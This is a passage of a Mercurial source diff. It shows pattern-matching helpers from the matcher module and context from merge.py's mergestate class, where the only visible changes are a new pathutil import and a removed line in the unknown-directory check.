     '''Return regexp string and a matcher function for kindpats.
     globsuffix is appended to the regexp of globs.'''
     matchfuncs = []
 
     subincludes, kindpats = _expandsubinclude(kindpats, root)
     if subincludes:
         submatchers = {}
 
         def matchsubinclude(f):
             for prefix, matcherargs in subincludes:
                 if f.startswith(prefix):
                     mf = submatchers.get(prefix)
                     if mf is None:
                         mf = match(*matcherargs)
                         submatchers[prefix] = mf
 
                     if mf(f[len(prefix) :]):
                         return True
             return False
 
         matchfuncs.append(matchsubinclude)
 
     regex = b''
     if kindpats:
         if all(k == b'rootfilesin' for k, p, s in kindpats):
             dirs = {p for k, p, s in kindpats}
 
             def mf(f):
                 i = f.rfind(b'/')
                 if i >= 0:
                     dir = f[:i]
                 else:
                     dir = b'.'
                 return dir in dirs
 
             regex = b'rootfilesin: %s' % stringutil.pprint(list(sorted(dirs)))
             matchfuncs.append(mf)
         else:
             regex, mf = _buildregexmatch(kindpats, globsuffix)
             matchfuncs.append(mf)
 
     if len(matchfuncs) == 1:
         return regex, matchfuncs[0]
     else:
         return regex, lambda f: any(mf(f) for mf in matchfuncs)
 
 
 MAX_RE_SIZE = 20000
 
 
 def _joinregexes(regexps):
     """gather multiple regular expressions into a single one"""
     return b'|'.join(regexps)
 
 
 def _buildregexmatch(kindpats, globsuffix):
     """Build a match function from a list of kinds and kindpats,
     return regexp string and a matcher function.
 
     Test too large input
     >>> _buildregexmatch([
     ...     (b'relglob', b'?' * MAX_RE_SIZE, b'')
     ... ], b'$')
     Traceback (most recent call last):
     ...
     Abort: matcher pattern is too long (20009 bytes)
     """
     try:
         allgroups = []
         regexps = [_regex(k, p, globsuffix) for (k, p, s) in kindpats]
         fullregexp = _joinregexes(regexps)
 
         startidx = 0
         groupsize = 0
         for idx, r in enumerate(regexps):
             piecesize = len(r)
             if piecesize > MAX_RE_SIZE:
                 msg = _(b"matcher pattern is too long (%d bytes)") % piecesize
                 raise error.Abort(msg)
             elif (groupsize + piecesize) > MAX_RE_SIZE:
                 group = regexps[startidx:idx]
                 allgroups.append(_joinregexes(group))
                 startidx = idx
                 groupsize = 0
             groupsize += piecesize + 1
 
         if startidx == 0:
             matcher = _rematcher(fullregexp)
             func = lambda s: bool(matcher(s))
         else:
             group = regexps[startidx:]
             allgroups.append(_joinregexes(group))
             allmatchers = [_rematcher(g) for g in allgroups]
             func = lambda s: any(m(s) for m in allmatchers)
         return fullregexp, func
     except re.error:
         for k, p, s in kindpats:
             try:
                 _rematcher(_regex(k, p, globsuffix))
             except re.error:
                 if s:
                     raise error.Abort(
                         _(b"%s: invalid pattern (%s): %s") % (s, k, p)
                     )
                 else:
                     raise error.Abort(_(b"invalid pattern (%s): %s") % (k, p))
         raise error.Abort(_(b"invalid pattern"))
 
 
 def _patternrootsanddirs(kindpats):
     '''Returns roots and directories corresponding to each pattern.
 
     This calculates the roots and directories exactly matching the patterns and
     returns a tuple of (roots, dirs) for each. It does not return other
     directories which may also need to be considered, like the parent
     directories.
     '''
     r = []
     d = []
     for kind, pat, source in kindpats:
         if kind in (b'glob', b'rootglob'):  # find the non-glob prefix
             root = []
             for p in pat.split(b'/'):
                 if b'[' in p or b'{' in p or b'*' in p or b'?' in p:
                     break
                 root.append(p)
             r.append(b'/'.join(root))
         elif kind in (b'relpath', b'path'):
             if pat == b'.':
                 pat = b''
             r.append(pat)
         elif kind in (b'rootfilesin',):
             if pat == b'.':
                 pat = b''
             d.append(pat)
         else:  # relglob, re, relre
             r.append(b'')
     return r, d
 
 
 def _roots(kindpats):
     '''Returns root directories to match recursively from the given patterns.'''
     roots, dirs = _patternrootsanddirs(kindpats)
     return roots
 
 
 def _rootsdirsandparents(kindpats):
     '''Returns roots and exact directories from patterns.
 
     `roots` are directories to match recursively, `dirs` should
     be matched non-recursively, and `parents` are the implicitly required
     directories to walk to items in either roots or dirs.
 
     Returns a tuple of (roots, dirs, parents).
 
     >>> r = _rootsdirsandparents(
     ...     [(b'glob', b'g/h/*', b''), (b'glob', b'g/h', b''),
     ...      (b'glob', b'g*', b'')])
     >>> print(r[0:2], sorted(r[2])) # the set has an unstable output
     (['g/h', 'g/h', ''], []) ['', 'g']
     >>> r = _rootsdirsandparents(
     ...     [(b'rootfilesin', b'g/h', b''), (b'rootfilesin', b'', b'')])
     >>> print(r[0:2], sorted(r[2])) # the set has an unstable output
     ([], ['g/h', '']) ['', 'g']
     >>> r = _rootsdirsandparents(
     ...     [(b'relpath', b'r', b''), (b'path', b'p/p', b''),
     ...      (b'path', b'', b'')])
     >>> print(r[0:2], sorted(r[2])) # the set has an unstable output
     (['r', 'p/p', ''], []) ['', 'p']
     >>> r = _rootsdirsandparents(
     ...     [(b'relglob', b'rg*', b''), (b're', b're/', b''),
     ...      (b'relre', b'rr', b'')])
     >>> print(r[0:2], sorted(r[2])) # the set has an unstable output
     (['', '', ''], []) ['']
     '''
     r, d = _patternrootsanddirs(kindpats)
 
     p = set()
     # Add the parents as non-recursive/exact directories, since they must be
     # scanned to get to either the roots or the other exact directories.
     p.update(pathutil.dirs(d))
     p.update(pathutil.dirs(r))
 
     # FIXME: all uses of this function convert these to sets, do so before
     # returning.
     # FIXME: all uses of this function do not need anything in 'roots' and
     # 'dirs' to also be in 'parents', consider removing them before returning.
     return r, d, p
 
 
 def _explicitfiles(kindpats):
     '''Returns the potential explicit filenames from the patterns.
 
     >>> _explicitfiles([(b'path', b'foo/bar', b'')])
     ['foo/bar']
     >>> _explicitfiles([(b'rootfilesin', b'foo/bar', b'')])
     []
     '''
     # Keep only the pattern kinds where one can specify filenames (vs only
     # directory names).
     filable = [kp for kp in kindpats if kp[0] not in (b'rootfilesin',)]
     return _roots(filable)
 
 
 def _prefix(kindpats):
     '''Whether all the patterns match a prefix (i.e. recursively)'''
     for kind, pat, source in kindpats:
         if kind not in (b'path', b'relpath'):
             return False
     return True
 
 
 _commentre = None
 
 
 def readpatternfile(filepath, warn, sourceinfo=False):
     '''parse a pattern file, returning a list of
     patterns. These patterns should be given to compile()
     to be validated and converted into a match function.
 
     trailing white space is dropped.
     the escape character is backslash.
     comments start with #.
     empty lines are skipped.
 
     lines can be of the following formats:
 
     syntax: regexp # defaults following lines to non-rooted regexps
     syntax: glob   # defaults following lines to non-rooted globs
     re:pattern     # non-rooted regular expression
     glob:pattern   # non-rooted glob
     rootglob:pat   # rooted glob (same root as ^ in regexps)
     pattern        # pattern of the current default type
 
     if sourceinfo is set, returns a list of tuples:
     (pattern, lineno, originalline).
     This is useful to debug ignore patterns.
     '''
 
     if rustmod is not None:
         result, warnings = rustmod.read_pattern_file(
             filepath, bool(warn), sourceinfo,
         )
 
         for warning_params in warnings:
             # Can't be easily emitted from Rust, because it would require
             # a mechanism for both gettext and calling the `warn` function.
             warn(_(b"%s: ignoring invalid syntax '%s'\n") % warning_params)
 
         return result
 
     syntaxes = {
         b're': b'relre:',
         b'regexp': b'relre:',
         b'glob': b'relglob:',
         b'rootglob': b'rootglob:',
         b'include': b'include',
         b'subinclude': b'subinclude',
     }
     syntax = b'relre:'
     patterns = []
 
     fp = open(filepath, b'rb')
     for lineno, line in enumerate(util.iterfile(fp), start=1):
         if b"#" in line:
             global _commentre
             if not _commentre:
                 _commentre = util.re.compile(br'((?:^|[^\\])(?:\\\\)*)#.*')
             # remove comments prefixed by an even number of escapes
             m = _commentre.search(line)
             if m:
                 line = line[: m.end(1)]
             # fixup properly escaped comments that survived the above
             line = line.replace(b"\\#", b"#")
         line = line.rstrip()
         if not line:
             continue
 
         if line.startswith(b'syntax:'):
             s = line[7:].strip()
             try:
                 syntax = syntaxes[s]
             except KeyError:
                 if warn:
                     warn(
                         _(b"%s: ignoring invalid syntax '%s'\n") % (filepath, s)
                     )
             continue
 
         linesyntax = syntax
         for s, rels in pycompat.iteritems(syntaxes):
             if line.startswith(rels):
                 linesyntax = rels
                 line = line[len(rels) :]
                 break
             elif line.startswith(s + b':'):
                 linesyntax = rels
                 line = line[len(s) + 1 :]
                 break
         if sourceinfo:
             patterns.append((linesyntax + line, lineno, line))
         else:
             patterns.append(linesyntax + line)
     fp.close()
     return patterns

mercurial/merge.py

@@ -1,2709 +1,2710 b''
 # merge.py - directory-level update/merge handling for Mercurial
 #
 # Copyright 2006, 2007 Matt Mackall <[e-mail]>
 #
 # This software may be used and distributed according to the terms of the
 # GNU General Public License version 2 or any later version.
 
 from __future__ import absolute_import
 
 import errno
 import hashlib
 import shutil
 import stat
 import struct
 
 from .i18n import _
 from .node import (
     addednodeid,
     bin,
     hex,
     modifiednodeid,
     nullhex,
     nullid,
     nullrev,
 )
 from .pycompat import delattr
 from .thirdparty import attr
 from . import (
     copies,
     encoding,
     error,
     filemerge,
     match as matchmod,
     obsutil,
+    pathutil,
     pycompat,
     scmutil,
     subrepoutil,
     util,
     worker,
 )
 
 _pack = struct.pack
 _unpack = struct.unpack
 
 
 def _droponode(data):
     # used for compatibility for v1
     bits = data.split(b'\0')
     bits = bits[:-2] + bits[-1:]
     return b'\0'.join(bits)
 
 
 # Merge state record types. See ``mergestate`` docs for more.
 RECORD_LOCAL = b'L'
 RECORD_OTHER = b'O'
 RECORD_MERGED = b'F'
 RECORD_CHANGEDELETE_CONFLICT = b'C'
 RECORD_MERGE_DRIVER_MERGE = b'D'
 RECORD_PATH_CONFLICT = b'P'
 RECORD_MERGE_DRIVER_STATE = b'm'
 RECORD_FILE_VALUES = b'f'
 RECORD_LABELS = b'l'
 RECORD_OVERRIDE = b't'
 RECORD_UNSUPPORTED_MANDATORY = b'X'
 RECORD_UNSUPPORTED_ADVISORY = b'x'
 
 MERGE_DRIVER_STATE_UNMARKED = b'u'
 MERGE_DRIVER_STATE_MARKED = b'm'
 MERGE_DRIVER_STATE_SUCCESS = b's'
 
 MERGE_RECORD_UNRESOLVED = b'u'
 MERGE_RECORD_RESOLVED = b'r'
 MERGE_RECORD_UNRESOLVED_PATH = b'pu'
 MERGE_RECORD_RESOLVED_PATH = b'pr'
 MERGE_RECORD_DRIVER_RESOLVED = b'd'
 
 ACTION_FORGET = b'f'
 ACTION_REMOVE = b'r'
 ACTION_ADD = b'a'
 ACTION_GET = b'g'
 ACTION_PATH_CONFLICT = b'p'
 ACTION_PATH_CONFLICT_RESOLVE = b'pr'
 ACTION_ADD_MODIFIED = b'am'
 ACTION_CREATED = b'c'
 ACTION_DELETED_CHANGED = b'dc'
 ACTION_CHANGED_DELETED = b'cd'
 ACTION_MERGE = b'm'
 ACTION_LOCAL_DIR_RENAME_GET = b'dg'
 ACTION_DIR_RENAME_MOVE_LOCAL = b'dm'
 ACTION_KEEP = b'k'
 ACTION_EXEC = b'e'
 ACTION_CREATED_MERGE = b'cm'
 
 
 class mergestate(object):
     '''track 3-way merge state of individual files
 
     The merge state is stored on disk when needed. Two files are used: one with
     an old format (version 1), and one with a new format (version 2). Version 2
     stores a superset of the data in version 1, including new kinds of records
     in the future. For more about the new format, see the documentation for
     `_readrecordsv2`.
 
     Each record can contain arbitrary content, and has an associated type. This
     `type` should be a letter. If `type` is uppercase, the record is mandatory:
     versions of Mercurial that don't support it should abort. If `type` is
     lowercase, the record can be safely ignored.
 
     Currently known records:
 
     L: the node of the "local" part of the merge (hexified version)
     O: the node of the "other" part of the merge (hexified version)
     F: a file to be merged entry
     C: a change/delete or delete/change conflict
     D: a file that the external merge driver will merge internally
        (experimental)
     P: a path conflict (file vs directory)
     m: the external merge driver defined for this merge plus its run state
        (experimental)
     f: a (filename, dictionary) tuple of optional values for a given file
     X: unsupported mandatory record type (used in tests)
     x: unsupported advisory record type (used in tests)
     l: the labels for the parts of the merge.
 
     Merge driver run states (experimental):
     u: driver-resolved files unmarked -- needs to be run next time we're about
        to resolve or commit
     m: driver-resolved files marked -- only needs to be run before commit
     s: success/skipped -- does not need to be run any more
 
     Merge record states (stored in self._state, indexed by filename):
     u: unresolved conflict
     r: resolved conflict
     pu: unresolved path conflict (file conflicts with directory)
     pr: resolved path conflict
     d: driver-resolved conflict
 
     The resolve command transitions between 'u' and 'r' for conflicts and
     'pu' and 'pr' for path conflicts.
     '''
 
     statepathv1 = b'merge/state'
     statepathv2 = b'merge/state2'
 
     @staticmethod
     def clean(repo, node=None, other=None, labels=None):
         """Initialize a brand new merge state, removing any existing state on
         disk."""
         ms = mergestate(repo)
         ms.reset(node, other, labels)
         return ms
 
     @staticmethod
     def read(repo):
         """Initialize the merge state, reading it from disk."""
         ms = mergestate(repo)
         ms._read()
         return ms
 
     def __init__(self, repo):
         """Initialize the merge state.
 
         Do not use this directly! Instead call read() or clean()."""
         self._repo = repo
         self._dirty = False
         self._labels = None
 
     def reset(self, node=None, other=None, labels=None):
         self._state = {}
         self._stateextras = {}
         self._local = None
         self._other = None
         self._labels = labels
         for var in ('localctx', 'otherctx'):
             if var in vars(self):
                 delattr(self, var)
         if node:
             self._local = node
             self._other = other
         self._readmergedriver = None
         if self.mergedriver:
             self._mdstate = MERGE_DRIVER_STATE_SUCCESS
         else:
             self._mdstate = MERGE_DRIVER_STATE_UNMARKED
         shutil.rmtree(self._repo.vfs.join(b'merge'), True)
         self._results = {}
         self._dirty = False
 
     def _read(self):
         """Analyse each record content to restore a serialized state from disk
 
         This function process "record" entry produced by the de-serialization
         of on disk file.
         """
         self._state = {}
         self._stateextras = {}
         self._local = None
         self._other = None
         for var in ('localctx', 'otherctx'):
             if var in vars(self):
                 delattr(self, var)
         self._readmergedriver = None
         self._mdstate = MERGE_DRIVER_STATE_SUCCESS
         unsupported = set()
         records = self._readrecords()
         for rtype, record in records:
             if rtype == RECORD_LOCAL:
                 self._local = bin(record)
             elif rtype == RECORD_OTHER:
                 self._other = bin(record)
             elif rtype == RECORD_MERGE_DRIVER_STATE:
                 bits = record.split(b'\0', 1)
                 mdstate = bits[1]
                 if len(mdstate) != 1 or mdstate not in (
                     MERGE_DRIVER_STATE_UNMARKED,
                     MERGE_DRIVER_STATE_MARKED,
                     MERGE_DRIVER_STATE_SUCCESS,
                 ):
                     # the merge driver should be idempotent, so just rerun it
                     mdstate = MERGE_DRIVER_STATE_UNMARKED
 
                 self._readmergedriver = bits[0]
                 self._mdstate = mdstate
             elif rtype in (
                 RECORD_MERGED,
                 RECORD_CHANGEDELETE_CONFLICT,
                 RECORD_PATH_CONFLICT,
                 RECORD_MERGE_DRIVER_MERGE,
             ):
                 bits = record.split(b'\0')
                 self._state[bits[0]] = bits[1:]
             elif rtype == RECORD_FILE_VALUES:
                 filename, rawextras = record.split(b'\0', 1)
                 extraparts = rawextras.split(b'\0')
                 extras = {}
                 i = 0
                 while i < len(extraparts):
                     extras[extraparts[i]] = extraparts[i + 1]
                     i += 2
 
                 self._stateextras[filename] = extras
             elif rtype == RECORD_LABELS:
                 labels = record.split(b'\0', 2)
                 self._labels = [l for l in labels if len(l) > 0]
             elif not rtype.islower():
                 unsupported.add(rtype)
         self._results = {}
         self._dirty = False
 
         if unsupported:
             raise error.UnsupportedMergeRecords(unsupported)
 
     def _readrecords(self):
         """Read merge state from disk and return a list of record (TYPE, data)
 
         We read data from both v1 and v2 files and decide which one to use.
 
         V1 has been used by version prior to 2.9.1 and contains less data than
         v2. We read both versions and check if no data in v2 contradicts
         v1. If there is not contradiction we can safely assume that both v1
         and v2 were written at the same time and use the extract data in v2. If
         there is contradiction we ignore v2 content as we assume an old version
         of Mercurial has overwritten the mergestate file and left an old v2
         file around.
 
         returns list of record [(TYPE, data), ...]"""
         v1records = self._readrecordsv1()
         v2records = self._readrecordsv2()
         if self._v1v2match(v1records, v2records):
             return v2records
         else:
             # v1 file is newer than v2 file, use it
             # we have to infer the "other" changeset of the merge
             # we cannot do better than that with v1 of the format
             mctx = self._repo[None].parents()[-1]
             v1records.append((RECORD_OTHER, mctx.hex()))
             # add place holder "other" file node information
             # nobody is using it yet so we do no need to fetch the data
             # if mctx was wrong `mctx[bits[-2]]` may fails.
             for idx, r in enumerate(v1records):
                 if r[0] == RECORD_MERGED:
                     bits = r[1].split(b'\0')
                     bits.insert(-2, b'')
                     v1records[idx] = (r[0], b'\0'.join(bits))
             return v1records
 
     def _v1v2match(self, v1records, v2records):
         oldv2 = set()  # old format version of v2 record
         for rec in v2records:
             if rec[0] == RECORD_LOCAL:
                 oldv2.add(rec)
             elif rec[0] == RECORD_MERGED:
                 # drop the onode data (not contained in v1)
                 oldv2.add((RECORD_MERGED, _droponode(rec[1])))
         for rec in v1records:
             if rec not in oldv2:
                 return False
         else:
             return True
 
     def _readrecordsv1(self):
         """read on disk merge state for version 1 file
 
         returns list of record [(TYPE, data), ...]
 
         Note: the "F" data from this file are one entry short
               (no "other file node" entry)
         """
         records = []
         try:
             f = self._repo.vfs(self.statepathv1)
             for i, l in enumerate(f):
                 if i == 0:
                     records.append((RECORD_LOCAL, l[:-1]))
                 else:
                     records.append((RECORD_MERGED, l[:-1]))
             f.close()
         except IOError as err:
             if err.errno != errno.ENOENT:
                 raise
         return records
 
     def _readrecordsv2(self):
         """read on disk merge state for version 2 file
 
         This format is a list of arbitrary records of the form:
 
           [type][length][content]
 
         `type` is a single character, `length` is a 4 byte integer, and
         `content` is an arbitrary byte sequence of length `length`.
 
         Mercurial versions prior to 3.7 have a bug where if there are
         unsupported mandatory merge records, attempting to clear out the merge
         state with hg update --clean or similar aborts. The 't' record type
         works around that by writing out what those versions treat as an
         advisory record, but later versions interpret as special: the first
         character is the 'real' record type and everything onwards is the data.
 
         Returns list of records [(TYPE, data), ...]."""
         records = []
         try:
             f = self._repo.vfs(self.statepathv2)
             data = f.read()
             off = 0
             end = len(data)
             while off < end:
                 rtype = data[off : off + 1]
                 off += 1
                 length = _unpack(b'>I', data[off : (off + 4)])[0]
                 off += 4
                 record = data[off : (off + length)]
                 off += length
                 if rtype == RECORD_OVERRIDE:
                     rtype, record = record[0:1], record[1:]
                 records.append((rtype, record))
             f.close()
         except IOError as err:
             if err.errno != errno.ENOENT:
                 raise
         return records
 
     @util.propertycache
     def mergedriver(self):
         # protect against the following:
         # - A configures a malicious merge driver in their hgrc, then
         #   pauses the merge
         # - A edits their hgrc to remove references to the merge driver
         # - A gives a copy of their entire repo, including .hg, to B
         # - B inspects .hgrc and finds it to be clean
         # - B then continues the merge and the malicious merge driver
         #  gets invoked
         configmergedriver = self._repo.ui.config(
             b'experimental', b'mergedriver'
         )
         if (
             self._readmergedriver is not None
             and self._readmergedriver != configmergedriver
         ):
             raise error.ConfigError(
                 _(b"merge driver changed since merge started"),
                 hint=_(b"revert merge driver change or abort merge"),
             )
 
         return configmergedriver
 
     @util.propertycache
     def localctx(self):
         if self._local is None:
             msg = b"localctx accessed but self._local isn't set"
             raise error.ProgrammingError(msg)
         return self._repo[self._local]
 
     @util.propertycache
     def otherctx(self):
         if self._other is None:
             msg = b"otherctx accessed but self._other isn't set"
             raise error.ProgrammingError(msg)
         return self._repo[self._other]
 
     def active(self):
         """Whether mergestate is active.
 
         Returns True if there appears to be mergestate. This is a rough proxy
         for "is a merge in progress."
         """
         # Check local variables before looking at filesystem for performance
         # reasons.
         return (
             bool(self._local)
             or bool(self._state)
             or self._repo.vfs.exists(self.statepathv1)
             or self._repo.vfs.exists(self.statepathv2)
         )
 
     def commit(self):
         """Write current state on disk (if necessary)"""
         if self._dirty:
             records = self._makerecords()
             self._writerecords(records)
             self._dirty = False
 
     def _makerecords(self):
         records = []
         records.append((RECORD_LOCAL, hex(self._local)))
         records.append((RECORD_OTHER, hex(self._other)))
         if self.mergedriver:
             records.append(
                 (
                     RECORD_MERGE_DRIVER_STATE,
                     b'\0'.join([self.mergedriver, self._mdstate]),
                 )
             )
         # Write out state items. In all cases, the value of the state map entry
         # is written as the contents of the record. The record type depends on
         # the type of state that is stored, and capital-letter records are used
         # to prevent older versions of Mercurial that do not support the feature
         # from loading them.
         for filename, v in pycompat.iteritems(self._state):
             if v[0] == MERGE_RECORD_DRIVER_RESOLVED:
                 # Driver-resolved merge. These are stored in 'D' records.
                 records.append(
                     (RECORD_MERGE_DRIVER_MERGE, b'\0'.join([filename] + v))
                 )
             elif v[0] in (
                 MERGE_RECORD_UNRESOLVED_PATH,
                 MERGE_RECORD_RESOLVED_PATH,
             ):
                 # Path conflicts. These are stored in 'P' records.  The current
                 # resolution state ('pu' or 'pr') is stored within the record.
                 records.append(
                     (RECORD_PATH_CONFLICT, b'\0'.join([filename] + v))
                 )
             elif v[1] == nullhex or v[6] == nullhex:
                 # Change/Delete or Delete/Change conflicts. These are stored in
                 # 'C' records. v[1] is the local file, and is nullhex when the
                 # file is deleted locally ('dc'). v[6] is the remote file, and
                 # is nullhex when the file is deleted remotely ('cd').
                 records.append(
                     (RECORD_CHANGEDELETE_CONFLICT, b'\0'.join([filename] + v))
                 )
             else:
                 # Normal files.  These are stored in 'F' records.
                 records.append((RECORD_MERGED, b'\0'.join([filename] + v)))
         for filename, extras in sorted(pycompat.iteritems(self._stateextras)):
             rawextras = b'\0'.join(
                 b'%s\0%s' % (k, v) for k, v in pycompat.iteritems(extras)
             )
             records.append(
                 (RECORD_FILE_VALUES, b'%s\0%s' % (filename, rawextras))
             )
         if self._labels is not None:
             labels = b'\0'.join(self._labels)
             records.append((RECORD_LABELS, labels))
         return records
 
     def _writerecords(self, records):
         """Write current state on disk (both v1 and v2)"""
         self._writerecordsv1(records)
         self._writerecordsv2(records)
 
     def _writerecordsv1(self, records):
         """Write current state on disk in a version 1 file"""
         f = self._repo.vfs(self.statepathv1, b'wb')
         irecords = iter(records)
         lrecords = next(irecords)
         assert lrecords[0] == RECORD_LOCAL
         f.write(hex(self._local) + b'\n')
         for rtype, data in irecords:
             if rtype == RECORD_MERGED:
                 f.write(b'%s\n' % _droponode(data))
         f.close()
 
     def _writerecordsv2(self, records):
         """Write current state on disk in a version 2 file
 
         See the docstring for _readrecordsv2 for why we use 't'."""
         # these are the records that all version 2 clients can read
         allowlist = (RECORD_LOCAL, RECORD_OTHER, RECORD_MERGED)
         f = self._repo.vfs(self.statepathv2, b'wb')
         for key, data in records:
             assert len(key) == 1
             if key not in allowlist:
                 key, data = RECORD_OVERRIDE, b'%s%s' % (key, data)
             format = b'>sI%is' % len(data)
             f.write(_pack(format, key, len(data), data))
         f.close()
 
     @staticmethod
     def getlocalkey(path):
         """hash the path of a local file context for storage in the .hg/merge
         directory."""
 
         return hex(hashlib.sha1(path).digest())
 
     def add(self, fcl, fco, fca, fd):
         """add a new (potentially?) conflicting file the merge state
         fcl: file context for local,
         fco: file context for remote,
         fca: file context for ancestors,
         fd:  file path of the resulting merge.
 
         note: also write the local version to the `.hg/merge` directory.
         """
         if fcl.isabsent():
             localkey = nullhex
         else:
             localkey = mergestate.getlocalkey(fcl.path())
             self._repo.vfs.write(b'merge/' + localkey, fcl.data())
         self._state[fd] = [
             MERGE_RECORD_UNRESOLVED,
             localkey,
             fcl.path(),
             fca.path(),
             hex(fca.filenode()),
             fco.path(),
             hex(fco.filenode()),
             fcl.flags(),
         ]
         self._stateextras[fd] = {b'ancestorlinknode': hex(fca.node())}
         self._dirty = True
 
     def addpath(self, path, frename, forigin):
         """add a new conflicting path to the merge state
         path:    the path that conflicts
         frename: the filename the conflicting file was renamed to
         forigin: origin of the file ('l' or 'r' for local/remote)
         """
         self._state[path] = [MERGE_RECORD_UNRESOLVED_PATH, frename, forigin]
         self._dirty = True
 
     def __contains__(self, dfile):
         return dfile in self._state
 
     def __getitem__(self, dfile):
         return self._state[dfile][0]
 
     def __iter__(self):
         return iter(sorted(self._state))
 
     def files(self):
         return self._state.keys()
 
     def mark(self, dfile, state):
         self._state[dfile][0] = state
         self._dirty = True
 
     def mdstate(self):
         return self._mdstate
 
     def unresolved(self):
         """Obtain the paths of unresolved files."""
 
         for f, entry in pycompat.iteritems(self._state):
             if entry[0] in (
                 MERGE_RECORD_UNRESOLVED,
                 MERGE_RECORD_UNRESOLVED_PATH,
             ):
                 yield f
 
     def driverresolved(self):
         """Obtain the paths of driver-resolved files."""
 
         for f, entry in self._state.items():
             if entry[0] == MERGE_RECORD_DRIVER_RESOLVED:
                 yield f
 
     def extras(self, filename):
         return self._stateextras.setdefault(filename, {})
 
     def _resolve(self, preresolve, dfile, wctx):
         """rerun merge process for file path `dfile`"""
         if self[dfile] in (MERGE_RECORD_RESOLVED, MERGE_RECORD_DRIVER_RESOLVED):
             return True, 0
         stateentry = self._state[dfile]
         state, localkey, lfile, afile, anode, ofile, onode, flags = stateentry
         octx = self._repo[self._other]
         extras = self.extras(dfile)
         anccommitnode = extras.get(b'ancestorlinknode')
         if anccommitnode:
             actx = self._repo[anccommitnode]
         else:
             actx = None
         fcd = self._filectxorabsent(localkey, wctx, dfile)
         fco = self._filectxorabsent(onode, octx, ofile)
         # TODO: move this to filectxorabsent
         fca = self._repo.filectx(afile, fileid=anode, changectx=actx)
         # "premerge" x flags
         flo = fco.flags()
         fla = fca.flags()
         if b'x' in flags + flo + fla and b'l' not in flags + flo + fla:
             if fca.node() == nullid and flags != flo:
                 if preresolve:
                     self._repo.ui.warn(
                         _(
                             b'warning: cannot merge flags for %s '
                             b'without common ancestor - keeping local flags\n'
                         )
                         % afile
                     )
             elif flags == fla:
                 flags = flo
         if preresolve:
             # restore local
             if localkey != nullhex:
                 f = self._repo.vfs(b'merge/' + localkey)
                 wctx[dfile].write(f.read(), flags)
                 f.close()
             else:
                 wctx[dfile].remove(ignoremissing=True)
             complete, r, deleted = filemerge.premerge(
                 self._repo,
                 wctx,
                 self._local,
                 lfile,
                 fcd,
                 fco,
                 fca,
                 labels=self._labels,
             )
         else:
             complete, r, deleted = filemerge.filemerge(
                 self._repo,
                 wctx,
                 self._local,
                 lfile,
                 fcd,
                 fco,
                 fca,
                 labels=self._labels,
             )
         if r is None:
             # no real conflict
             del self._state[dfile]
             self._stateextras.pop(dfile, None)
             self._dirty = True
         elif not r:
             self.mark(dfile, MERGE_RECORD_RESOLVED)
 
         if complete:
             action = None
             if deleted:
                 if fcd.isabsent():
                     # dc: local picked. Need to drop if present, which may
                     # happen on re-resolves.
                     action = ACTION_FORGET
                 else:
                     # cd: remote picked (or otherwise deleted)
                     action = ACTION_REMOVE
             else:
                 if fcd.isabsent():  # dc: remote picked
                     action = ACTION_GET
                 elif fco.isabsent():  # cd: local picked
                     if dfile in self.localctx:
                         action = ACTION_ADD_MODIFIED
                     else:
                         action = ACTION_ADD
                 # else: regular merges (no action necessary)
             self._results[dfile] = r, action
 
         return complete, r
 
     def _filectxorabsent(self, hexnode, ctx, f):
         if hexnode == nullhex:
             return filemerge.absentfilectx(ctx, f)
         else:
             return ctx[f]
 
     def preresolve(self, dfile, wctx):
         """run premerge process for dfile
 
         Returns whether the merge is complete, and the exit code."""
         return self._resolve(True, dfile, wctx)
 
     def resolve(self, dfile, wctx):
         """run merge process (assuming premerge was run) for dfile
 
         Returns the exit code of the merge."""
         return self._resolve(False, dfile, wctx)[1]
 
     def counts(self):
         """return counts for updated, merged and removed files in this
         session"""
         updated, merged, removed = 0, 0, 0
         for r, action in pycompat.itervalues(self._results):
             if r is None:
                 updated += 1
             elif r == 0:
                 if action == ACTION_REMOVE:
                     removed += 1
                 else:
                     merged += 1
         return updated, merged, removed
 
     def unresolvedcount(self):
         """get unresolved count for this merge (persistent)"""
         return len(list(self.unresolved()))
 
     def actions(self):
         """return lists of actions to perform on the dirstate"""
         actions = {
             ACTION_REMOVE: [],
             ACTION_FORGET: [],
             ACTION_ADD: [],
             ACTION_ADD_MODIFIED: [],
             ACTION_GET: [],
         }
         for f, (r, action) in pycompat.iteritems(self._results):
             if action is not None:
                 actions[action].append((f, None, b"merge result"))
         return actions
 
     def recordactions(self):
         """record remove/add/get actions in the dirstate"""
         branchmerge = self._repo.dirstate.p2() != nullid
         recordupdates(self._repo, self.actions(), branchmerge, None)
 
     def queueremove(self, f):
         """queues a file to be removed from the dirstate
 
         Meant for use by custom merge drivers."""
         self._results[f] = 0, ACTION_REMOVE
 
     def queueadd(self, f):
         """queues a file to be added to the dirstate
 
         Meant for use by custom merge drivers."""
         self._results[f] = 0, ACTION_ADD
 
     def queueget(self, f):
         """queues a file to be marked modified in the dirstate
 
         Meant for use by custom merge drivers."""
         self._results[f] = 0, ACTION_GET
 
 
 def _getcheckunknownconfig(repo, section, name):
     config = repo.ui.config(section, name)
     valid = [b'abort', b'ignore', b'warn']
     if config not in valid:
         validstr = b', '.join([b"'" + v + b"'" for v in valid])
         raise error.ConfigError(
             _(b"%s.%s not valid ('%s' is none of %s)")
             % (section, name, config, validstr)
         )
     return config
 
 
 def _checkunknownfile(repo, wctx, mctx, f, f2=None):
     if wctx.isinmemory():
         # Nothing to do in IMM because nothing in the "working copy" can be an
         # unknown file.
         #
         # Note that we should bail out here, not in ``_checkunknownfiles()``,
         # because that function does other useful work.
         return False
 
     if f2 is None:
         f2 = f
     return (
         repo.wvfs.audit.check(f)
         and repo.wvfs.isfileorlink(f)
         and repo.dirstate.normalize(f) not in repo.dirstate
         and mctx[f2].cmp(wctx[f])
     )
 
 
 class _unknowndirschecker(object):
     """
     Look for any unknown files or directories that may have a path conflict
     with a file.  If any path prefix of the file exists as a file or link,
     then it conflicts.  If the file itself is a directory that contains any
     file that is not tracked, then it conflicts.
 
     Returns the shortest path at which a conflict occurs, or None if there is
     no conflict.
     """
 
     def __init__(self):
         # A set of paths known to be good.  This prevents repeated checking of
         # dirs.  It will be updated with any new dirs that are checked and found
         # to be safe.
         self._unknowndircache = set()
 
         # A set of paths that are known to be absent.  This prevents repeated
         # checking of subdirectories that are known not to exist. It will be
         # updated with any new dirs that are checked and found to be absent.
         self._missingdircache = set()
 
     def __call__(self, repo, wctx, f):
         if wctx.isinmemory():
             # Nothing to do in IMM for the same reason as ``_checkunknownfile``.
             return False
 
         # Check for path prefixes that exist as unknown files.
-        for p in reversed(list(util.finddirs(f))):
